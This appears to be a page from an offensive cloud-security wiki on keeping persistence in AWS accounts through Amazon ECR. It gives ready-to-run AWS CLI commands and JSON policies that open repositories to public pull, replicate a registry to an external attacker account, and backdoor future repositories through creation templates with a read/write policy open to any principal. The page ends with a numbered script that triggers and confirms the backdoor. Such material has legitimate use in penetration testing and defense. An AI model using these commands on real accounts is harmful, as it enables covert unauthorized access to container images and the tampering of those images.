AWS - ECR Persistence

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ECR

For more information check:

AWS - ECR Enum

Hidden Docker Image with Malicious Code

An attacker could upload a Docker image containing malicious code to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.

Repository Policy

Add a policy to a single repository granting yourself (or everybody) access to a repository:

aws ecr set-repository-policy \
    --repository-name cluster-autoscaler \
    --policy-text file:///tmp/my-policy.json

# With a .json such as

{
    "Version" : "2008-10-17",
    "Statement" : [
        {
            "Sid" : "allow public pull",
            "Effect" : "Allow",
            "Principal" : "*",
            "Action" : [
                "ecr:BatchCheckLayerAvailability",
                "ecr:BatchGetImage",
                "ecr:GetDownloadUrlForLayer"
            ]
        }
    ]
}

Registry Policy & Cross-account Replication

It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to indicate the external account there you want to replicate the registry.

First, you need to give the external account access over the registry with a registry policy like:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
  "Sid": "asdasd",
  "Effect": "Allow",
  "Principal": {
    "AWS": "arn:aws:iam::947247140022:root"
  },
  "Action": [
    "ecr:CreateRepository",
    "ecr:ReplicateImage"
  ],
  "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Then apply the replication config:

aws ecr put-replication-configuration \
     --replication-configuration file://replication-settings.json \
     --region us-west-2

# Having the .json a content such as:
{
	"rules": [{
		"destinations": [{
			"region": "destination_region",
			"registryId": "destination_accountId"
		}],
		"repositoryFilters": [{
			"filter": "repository_prefix_name",
			"filterType": "PREFIX_MATCH"
		}]
	}]
}

Repository Creation Templates (prefix backdoor for future repos)

Abuse ECR Repository Creation Templates to automatically backdoor any repository that ECR auto-creates under a controlled prefix (for example via Pull-Through Cache or Create-on-Push). This grants persistent unauthorized access to future repos without touching existing ones.

• Required perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
• Impact: Any new repository created under the targeted prefix automatically inherits an attacker-controlled repository policy (e.g., cross-account read/write), tag mutability, and scanning defaults.

# Region
REGION=us-east-1

# 1) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<'JSON'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "BackdoorRW",
      "Effect": "Allow",
      "Principal": {"AWS": "*"},
      "Action": [
        "ecr:BatchCheckLayerAvailability",
        "ecr:BatchGetImage",
        "ecr:GetDownloadUrlForLayer",
        "ecr:InitiateLayerUpload",
        "ecr:UploadLayerPart",
        "ecr:CompleteLayerUpload",
        "ecr:PutImage"
      ]
    }
  ]
}
JSON

# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
aws ecr create-repository-creation-template   --region $REGION   --prefix ptc2   --applied-for PULL_THROUGH_CACHE   --image-tag-mutability MUTABLE   --repository-policy file:///tmp/repo_backdoor_policy.json

# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
#    This example caches from Amazon ECR Public namespace "nginx"
aws ecr create-pull-through-cache-rule   --region $REGION   --ecr-repository-prefix ptc2   --upstream-registry ecr-public   --upstream-registry-url public.ecr.aws   --upstream-repository-prefix nginx

# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com

docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest

# 5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .